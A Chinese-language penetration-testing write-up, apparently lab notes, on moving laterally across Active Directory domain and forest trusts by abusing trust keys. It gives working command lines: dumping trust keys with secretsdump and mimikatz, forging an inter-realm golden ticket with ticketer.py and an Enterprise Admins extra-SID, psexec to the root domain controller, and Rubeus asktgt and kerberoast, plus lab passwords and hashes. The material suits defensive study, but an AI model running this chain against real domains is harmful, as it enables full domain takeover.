域林横向攻击链路(利用域信任密钥)
前言:实战中碰到了,这边全面的记录下关于子域横向父域攻击链路(利用域信任秘钥)笔记
参考文章:https://www.boundaryx.com/info/2145.html
参考文章:https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted
环境搭建
这边搭建了一个小型的域林,架构是三台机器,其中两台域控,一台域机器,如下图所示
192.168.75.202 WIN-MG4C5QO445H.zpchcbd.com 主域控 zpchcbd.com
192.168.75.155 WIN-TD5UM8GIDVQ.zpchcbd.com 子域控 sub.zpchcbd.com
192.168.75.157 WIN-SG82KF2OLBH.marks.com 主域控 marks.com
这边先来看下其信任关系是如何的,首先来看WIN-MG4C5QO445H.zpchcbd.com上的信任关系,可以看到跟子域sub.zpchcbd.com和marks.com都是双向信任的关系
那么这边的话如果拿到了marks.com或者是sub.zpchcbd.com的权限都可以实现对zpchcbd.com根域的攻击。
域信任秘钥横向移动
知识点:当使用信任关系时,两个域的域控制器需要共享一个信任密钥以保证通信安全。当设置域B到域A的单向信任时(B信任A),将在域A中创建一个名为B$的信任帐户。当域A中的用户请求域B中的服务票证时,此信任帐户的Hash用于加密域间TGT。
上面的知识点中可以看到,"当设置域B到域A的单向信任时(B信任A),将在域A中创建一个名为B$的信任帐户",这段话是具体是什么意思呢?这边可以实操看下环境中的情况
这边将zpchcbd.com域和marks.com域建立了互相信任的关系,然后这边看marks.com中ad数据库的存储信息,可以看到这边会多了一个zpchcbd$的账号,而这个账号就是所谓的信任账号
所以想要横向到zpchcbd.com域控机器的话,这边可以先在marks.com机器上列出zpchcbd.com域控机器的哈希值,如下图所示
python3 secretsdump.py marks/administrator:admin@111@192.168.75.157
除了通过secretsdump模块来获取,这边还可以通过mimikatz来进行获取信任密钥
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
impacket的secretsdump同样可以获取到信任密钥
知识点:因为双向信任关系其实是2个单向信任关系的叠加,所以会有2个密钥
接着这边可以查看marks.com域的sid值,下面的图中可以看到是S-1-5-21-2978104254-890095194-717427657
zpchcbd.com域的sid值为S-1-5-21-2604987987-3353953405-2351486685
有了sid和信任密钥就可以构造黄金票据
python3 ticketer.py -domain marks.com -domain-sid S-1-5-21-2978104254-890095194-717427657 -nthash c2e2c619b858acd8d1af19af304e8226 -extra-sid S-1-5-21-2604987987-3353953405-2351486685-519 -spn krbtgt/zpchcbd.com administrator
接着申请域控对应cifs服务的st票据
set KRB5CCNAME=administrator.ccache
python3 getST.py -k -no-pass -spn cifs/WIN-MG4C5QO445H.zpchcbd.com zpchcbd.com/administrator@192.168.75.202
set KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -codec gbk
连接命令执行,结果如下所示
其实也可以直接psexec,这边也可以省略getST模块,结果如下图所示
python3 ticketer.py -domain marks.com -domain-sid S-1-5-21-2978104254-890095194-717427657 -nthash c2e2c619b858acd8d1af19af304e8226 -extra-sid S-1-5-21-2604987987-3353953405-2351486685-519 -spn krbtgt/zpchcbd.com administrator
set KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass administrator@WIN-MG4C5QO445H.zpchcbd.com -codec gbk
多域林环境搭建
这边在搭建了上述环境的基础上再加一个域林fast.com,如下图所示
192.168.75.202 WIN-MG4C5QO445H.zpchcbd.com 主域控 zpchcbd.com
192.168.75.155 WIN-TD5UM8GIDVQ.zpchcbd.com 子域控 sub.zpchcbd.com
192.168.75.157 WIN-SG82KF2OLBH.marks.com 主域控 marks.com
192.168.75.182 WIN-SG82KF2OLBH.marks.com 主域控 fast.com
这边先来看下其信任关系是如何的,首先来看WIN-MG4C5QO445H.zpchcbd.com上的信任关系,可以看到跟子域sub.zpchcbd.com和marks.com都是双向信任的关系
zpchcbd.com域林和fast.com域林之间默认是不存在信任关系的,如下图所示
建立信任管理
在域林和域林之间默认是不存在信任关系的,所以这个zpchcbd.com和fast.com之间的信任关系需要自己来搭建,下面记录下建立信任关系的操作
这边先在zpchcbd.com域控机器上进行操作,首先需要在zpchcbd.com的域控机器上创建条件转发器用于后续的信任域的解析查找
在zpchcbd.com域控机器上配置好相关的dns解析记录fast.com
接着输入要与对方域林要创建信任关系的dns解析名,这边的话填入fast.com
选择林信任
选择双向信任
上面在zpchcbd.com上建立跟fast.com的域信任关系之后,这边来到fast.coms上看到zpchcbd.com的域信任关系也已经创建完了,如下图所示
跨域林之间的外部信任(存在SID Filtering情况)秘钥横向移动的可行性
Kerberoast
知识点:下面的方式在跨域cross forest信任类型也同样适用
这边创建一个双方的外部信任,如下图所示
192.168.75.22 hengge.local DC
192.168.75.26 test.local DC
192.168.75.30 WIN-8GLL6215CBR.test.local bobo/admin@123
这边攻击的测试路径是从test.local攻击hengge.local,所以这边先在test.local上面观察信任关系,执行nltest /domain_trusts
,可以看到是存在双方信任的关系的(外部信任类型),那么是存在域信任密钥的
首先在test.local上面获取hengge.local的域信任密钥07faa9c3df6dbdb219bc29d7003968f0
,如下图所示
python3 secretsdump.py administrator:admin@456@192.168.75.26
通过rubeus在test.local域中向hengge.local DC请求TGT跨域票据
rubeus asktgt /user:test$ /domain:hengge.local /rc4:07faa9c3df6dbdb219bc29d7003968f0/dc:WIN-M3K6DM7F67I.hengge.local
接着通过rubeus申请hengge.local的AS_REP返回的票据,如下图所示,这里的话只申请hengge\administrator高权限票据作为测试
rubeus kerberoast /user:administrator /domain:hengge.local /dc:WIN-M3K6DM7F67I.hengge.local
域间账号密钥明文密码获取
这边需要用到mimikatz,这边在test.local上做个测试,执行如下命令,如下图所示
mimikatz # privilege::debug
mimikatz # lsadump::trust /patch
这边拿下面这段作为测试,可以看到一段02 b7 ea 7b 80 44 d7 2c 17 d1 70 0d e0 74 13 d0 1a e8 1c bc 7f e9 bf ad a6 b2 06 66
[ Out ] HENGGE.LOCAL -> TEST.LOCAL
* 10/18/2023 1:16:35 AM - CLEAR - 02 b7 ea 7b 80 44 d7 2c 17 d1 70 0d e0 74 13 d0 1a e8 1c bc 7f e9 bf ad a6 b2 06 66
* aes256_hmac beaca181f62b3c6e565f830c112ae3e3459bec4d4e0749da77bd8d684f83ef93
* aes128_hmac 8515e88ef23233b604c4358f39764c5f
* rc4_hmac_nt 07faa9c3df6dbdb219bc29d7003968f0
ADExplorer进行LDAP数据导出
hengge.local对test.local双向信任且存在SID Filtering
但是依旧可以通过test.local的普通域用户导出LDAP数据库,如下图所示
跨域获取用户组成员
xxxx
关于域间账号使用限制
- 禁止非网络登录
不允许某些登录类型,例如 RUNAS、控制台登录和 RDP 登录(交互式和远程交互式登录类型)。
已确认接受的唯一登录类型是"网络"。尚未评估新凭据、批处理、服务和网络明文登录类型。
- 禁止NTLM登录,那么就决定pth的玩法行不通